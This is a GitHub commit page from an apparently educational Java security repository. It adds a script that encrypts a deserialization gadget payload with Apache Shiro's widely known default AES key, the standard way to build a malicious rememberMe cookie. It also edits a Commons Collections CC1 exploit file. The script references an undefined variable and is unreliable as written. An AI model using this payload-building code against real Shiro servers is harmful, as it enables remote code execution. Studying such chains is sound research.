FazBrowse GitHub Viewer | Trending |
URL:
| Home
Tools: [Download Repo ZIP]   [Original HTTPS Page]

:new:新增部分代码 · 88k3y5/JavaSecurityLearning@64e859e · GitHub

:new:新增部分代码 · 88k3y5/JavaSecurityLearning@64e859e · GitHub
Skip to content

Navigation Menu

Repository navigation

Commit 64e859e

Browse files
committed
🆕新增部分代码
1 parent cf7f451 commit 64e859e

316 files changed

Lines changed: 10488 additions & 26009 deletions

File tree

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

‎JavaSecurity/AesEncode.java‎

Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
2+
import com.sun.crypto.provider.AESKeyGenerator;
3+
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
4+
import org.apache.shiro.crypto.AesCipherService;
5+
import org.apache.shiro.util.ByteSource;
6+
7+
import java.io.*;
8+
9+
10+
public class AESencode {
11+
public static void main(String[] args) throws Exception {
12+
String path = "/Users/xxxx/Desktop/java/ShiroTool/cc11";
13+
byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
14+
AesCipherService aes = new AesCipherService();
15+
ByteSource ciphertext = aes.encrypt(getBytes(detectpath), key);
16+
System.out.printf(ciphertext.toString());
17+
}
18+
19+
20+
public static byte[] getBytes(String path) throws Exception{
21+
InputStream inputStream = new FileInputStream(path);
22+
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
23+
int n = 0;
24+
while ((n=inputStream.read())!=-1){
25+
byteArrayOutputStream.write(n);
26+
}
27+
byte[] bytes = byteArrayOutputStream.toByteArray();
28+
return bytes;
29+
30+
}
31+
}

‎JavaSecurity/CC/CC1/ser.bin‎

7 Bytes
Binary file not shown.

‎JavaSecurity/CC/CC1/src/EXP/ysoChainsEXP/LazyFinalEXP.java‎

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
package ysoChainsEXP;
1+
package EXP.ysoChainsEXP;
22

33
import org.apache.commons.collections.Transformer;
44
import org.apache.commons.collections.functors.ChainedTransformer;
@@ -38,7 +38,7 @@ public static void main(String[] args) throws Exception {
3838
invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);
3939

4040
serialize(invocationHandler);
41-
unserialize("ser.bin");
41+
// unserialize("ser.bin");
4242
}
4343
public static void serialize(Object obj) throws IOException {
4444
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
Binary file not shown.
-3.48 KB
Binary file not shown.

‎JavaSecurity/CC/CC1/target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/inputFiles.lst‎

Whitespace-only changes.

‎JavaSecurity/CC/CC3/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst‎

Whitespace-only changes.

‎JavaSecurity/CC/CC3/target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/inputFiles.lst‎

Whitespace-only changes.

‎JavaSecurity/CC/CC6/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst‎

Whitespace-only changes.

‎JavaSecurity/CC/CC6/target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/inputFiles.lst‎

Whitespace-only changes.

0 commit comments

Comments
 (0)

Footer

© 2026 GitHub, Inc.

Back | FazBrowse Home | New Git URL